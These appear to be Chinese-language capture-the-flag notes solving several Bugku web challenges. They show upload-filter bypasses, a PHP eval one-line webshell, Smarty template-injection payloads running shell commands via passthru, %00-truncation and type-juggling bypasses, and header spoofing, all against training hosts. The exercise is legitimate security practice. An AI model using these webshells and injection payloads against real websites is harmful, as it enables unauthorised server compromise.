社工-初步收集
购买辅助--下载辅助
得到一个zip文件
里面有exe
不知道有啥用
先用dirsearch扫一下
找到/admin/login.php
随便用了个弱口令登录失败
后面看了要用wireshrak抓包
找到邮箱和pass
把pass解码
本来以为后台直接登录
但是登录失败
就是要用邮箱登录
找到账号和密码
登录成了
网站设置里有flag
秋名山车神
要两秒内计算值 根本不可能
数值还一直在变
import requests #//引入request库
import re #//引入re库url = '''http://114.67.175.224:15101/'''
s = requests.session() #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()result = eval(equation) #//eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value':result}
print(s.post(url, data = key).text)
正则
re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+\-*])+(\d+):\d+ 表示匹配一个或多个数字;[+-*] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串
文件上传
bp抓包 上传php文件
修改类型
1.http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。2.文件的的Content-Type: application/octet-stream,改成image/jpeg
3.文件后缀名改成php4
蚁剑连接ok
never_give_up php黑魔法
看源代码 给了提示1p.html
访问1p.html会直接跳转到bugku什么的
所以要用bp拦截
发包得到一串编码
解码
得到源码了
";if(!$_GET['id'])
{header('Location: hello.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}?>
stripos函数:返回指定字符的位置。 题目中就是 返回 “.”在 $a 的位置。 配合上if,就是a中不能有 .
file_get_contents:读取指定的文件。题目中是要读取名称为 a 的文件。 并赋值给 data
$a 的值必须为数据流,可是使用php伪协议中的php://input来访问原始请求数据中的只读流,也就是说我们可以在报文主体中post “bugku is a nice plateform!”,通过php://input来访问。
eregi:这个函数跟 preg_match函数功能一样,实现匹配。但是已经弃用。
进行不区分大小写的正则表达式匹配
题目的意思是,经过 substr 的 变量b 再拼接 字符串 111 ,用拼接后的字符串 匹配 1114 。
所以一共有以下限制条件:1、id传参必须存在,且 等于0
2、a传参 不能有 .
3、必须读取到 名为a 的文件,且文件内容是:bugku is a nice plateform!
4、b传参长度大于5
5、b的第一个字符不能等于4,且截取后要与 1114 匹配
此外还有个隐形条件。
传入 id = 0 。会自动跳转到 id =1
绕过方法:
1、id用弱类型比较。 0xg 等于 0 。 (只要是大于十六进制e的字符都可以)
2、利用php伪协议。
a=php://input
post传入:bugku is a nice plateform!
3、利用00截断绕过 eregi
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
b 是 URL 查询字符串中的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节
shell 命令执行
进去之后是空白的 毫无提示
根据提示我们可以猜测需要get 传参s
直接命令执行
ls
cat flag
程序员本地网站
提示很明显啊
抓包后添加
X-Forwarded--For:127.0.0.1
聪明的php smarty模板注入
没太看懂 就说flag文件是随机的
那我先用dirsearch扫一下试试
没有什么收获
搜了一下 parameter是参数的意思
那我穿个参数看看
源码出来了
验证是否是模板注入
判断为 smarty模板注入
根据上面的源代码,我们发现passthru()函数没过滤
ls一下
看下根目录
http://114.67.175.224:10801/?a={{passthru(%27ls%27)}}
看到这个奇奇怪怪的
这里cat被过滤了
用tac来过滤
http://114.67.175.224:10801/?a={{passthru(%27tac%20../../../_27800%27)}}
login1
进去就是登陆注册页面
我先随便注册了一个账号
但是回显不是管理员
所以一定要用admin才能登录
看看题目提示
第一次见 搜一下
参考https://www.cnblogs.com/Sayo-/p/15164269.html
根据以上资料
我们利用admin+空格注册一个账号
然后用admin和刚才用的密码来登录admin账户
登录成功
文件包含2
查看页面源代码
看到upload.php
来到这个页面
上马没跑了
上传图片马
修改类型啥的 上传成功了
拿蚁剑连接一下 但是没有一点信息
后来知道是因为
<?php ?>标签被替换成_了,所以无法解析成php文件,这里要另一种姿势来写一句话木马
<script language=php>eval($_POST['shell']);</script>
连接成功了
闪电十六鞭
需要进行代码审计
先点击 这个看看
发现url上面带了很多一坨什么东西
审计一下
点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。
当没有用GET方法传入flag时,会显示Click here的链接。
判断传入的flag长度与$exam是否相同,不同则显示 长度不允许
进行关键字过滤
get传参的flag如果跟sha1加密后的值相等 则返回flag
$exam=return'c78158f67a3ed810f14ad631edaedb4b5b24800c';len($exam)=50;
此时再将目光放在过滤的关键字上,发现过滤掉了echo和flag,这是我们实现绕过所必需的两个关键字,只能通过别的方式来替代了
php短标签风格:
①开启短标签风格后,能够正常解析 phpinfo(); ?>这样的代码
②可以使用<?=$a?>进行输出。举个例子:<php? echo 'hello'; ?> 等价于 <?='hello';?>
其次,flag被过滤了,可用先赋其他值,再修改的方法绕过
由于[]也被过滤掉了,我们需要用{}来代替其作用。最后,还要保证的一点就是长度,若长度不够,可以在中间插入无关的字符
http://114.67.175.224:12486/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E